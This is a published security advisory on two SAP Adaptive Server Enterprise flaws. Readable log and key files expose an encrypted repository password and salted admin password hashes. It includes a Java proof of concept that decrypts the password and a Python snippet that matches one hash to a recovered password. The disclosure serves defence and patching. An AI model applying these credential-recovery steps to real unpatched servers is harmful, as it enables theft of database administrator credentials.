Trustwave SpiderLabs Security Advisory TWSL2020-006:
Multiple Vulnerabilities in SAP Adaptive Server Enterprise

Published: 09/24/2020
Version: 1.0

Vendor:  SAP (www.sap.com)
Product: Adaptive Server Enterprise
Versions affected: prior to 16.0 SP02 PL09 HF2 and 16.0 SP03 PL08 HF2.

Product description:
Relational database management system.

Finding 1: Information Disclosure in SAP Adaptive Server Enterprise
Credit: Martin Rakhmanov of Trustwave 
CVE: CVE-2020-6295

On Windows the ASE_Suite.log file is readable by any valid Windows user by default:

C:\SAP>icacls C:\SAP\log\ASE_Suite.log
C:\SAP\log\ASE_Suite.log NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Administrators:(I)(F)
                         BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

If Cockpit component is installed, then the log will contain encrypted
repository password:

DEBUG>>> 05-18-20 21:27:19 : ConfigCockpitLogins.writeRepositoryPassword(): write enRepoPwd=1-AAAAEgQQB+3Q7M42wx5KfB/vy2q4HfZhiEasqjA8vSjPIZbbLrqb9KZFqdpyTBHk7reqCIUzsXIlcMc/jaXtaW8eDvBIqQ==

This together with weak permissions on csibootstrap.properties and
csikeystore.jceks files allows password decryption by any valid Windows user.

C:\SAP>icacls C:\SAP\COCKPIT-4\conf\csibootstrap.properties
C:\SAP\COCKPIT-4\conf\csibootstrap.properties NT AUTHORITY\SYSTEM:(I)(F)
                                              BUILTIN\Administrators:(I)(F)
                                              BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\SAP>icacls C:\SAP\COCKPIT-4\conf\csikeystore.jceks
C:\SAP\COCKPIT-4\conf\csikeystore.jceks NT AUTHORITY\SYSTEM:(I)(F)
                                        BUILTIN\Administrators:(I)(F)
                                        BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

POC in Java:

// javac.exe -cp . demo.java
// Copy original files from SAP location to MY_COPY location
// "C:\SAP\Shared\SAPJRE-8_1_060_64BIT\bin\java.exe" -Dcom.sybase.ua.home=C:\MY_COPY\COCKPIT-4\ -cp . demo
public class demo
{
	public static void main(String[] args) throws Exception
	{
		com.sybase.ua.security.crypto.CSIEncryption.bootstrapCSI();
		String password = com.sybase.ua.security.crypto.CSIEncryption.getInstance().getEncryptionTools().decrypt("1-AAAAEgQQB+3Q7M42wx5KfB/vy2q4HfZhiEasqjA8vSjPIZbbLrqb9KZFqdpyTBHk7reqCIUzsXIlcMc/jaXtaW8eDvBIqQ==");
		System.out.println(password);
    }
}

Finding 2: Publicly readable ASE installation file contains SHA256 hashes of sccadmin and uafadmin passwords
Credit: Martin Rakhmanov of Trustwave 
CVE: CVE-2020-6317

On Windows the ASE_Suite.log file is readable by any valid Windows user by default:

C:\SAP>icacls C:\SAP\log\ASE_Suite.log
C:\SAP\log\ASE_Suite.log NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Administrators:(I)(F)
                         BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

If Cockpit component is installed, then the log will contain SHA-256 hashes of
special account passwords:

...
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write userName=sccadmin
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write encryptPwd={SHA-256:+EFnOPCybn0=}R2hjILOGw+9HuezqaOETTLEp3aES8tvgllXb8IL9W6E=
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write userName=uafadmin
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write encryptPwd={SHA-256:63brIY/QONU=}zmVB11zcCmEvCw/DGoEY01O4y3E0VkFjQwIizR2h6j4=
...

This allows brute force attacks on the accounts. Python POC for the sccadmin
encryptPwd:

>>> import hashlib, base64
>>> salt = base64.decodestring('+EFnOPCybn0=')
>>> hash = hashlib.sha256()
>>> hash.update(salt)
>>> hash.update('ASE8Magic!')
>>> base64.encodestring(hash.digest())
'R2hjILOGw+9HuezqaOETTLEp3aES8tvgllXb8IL9W6E=\n'

Remediation Steps:
Apply the latest vendor supplied patches. Finding 1 was fixed in SAP ASE 16.0
SP02 PL09 HF2 and 16.0 SP03 PL08 HF2.  Finding 2 was fixed in SAP ASE 15.7 SP
141 HF2, 15.7 SP 141 CE HF2, 16.0 SP02 PL09 HF2 and 16.0 SP03 PL08 HF2

Revision History:
05/20/2020 - Vulnerability disclosed to vendor
07/08/2020 - Patch released by vendor for SAP ASE 16.0 for CVE-2020-6295 and CVE-2020-6317
07/15/2020 - Patch released by vendor for SAP ASE 15.7 for CVE-2020-6317
09/24/2020 - Advisory published

References
1. https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552603345
2. https://launchpad.support.sap.com/#/notes/2953203

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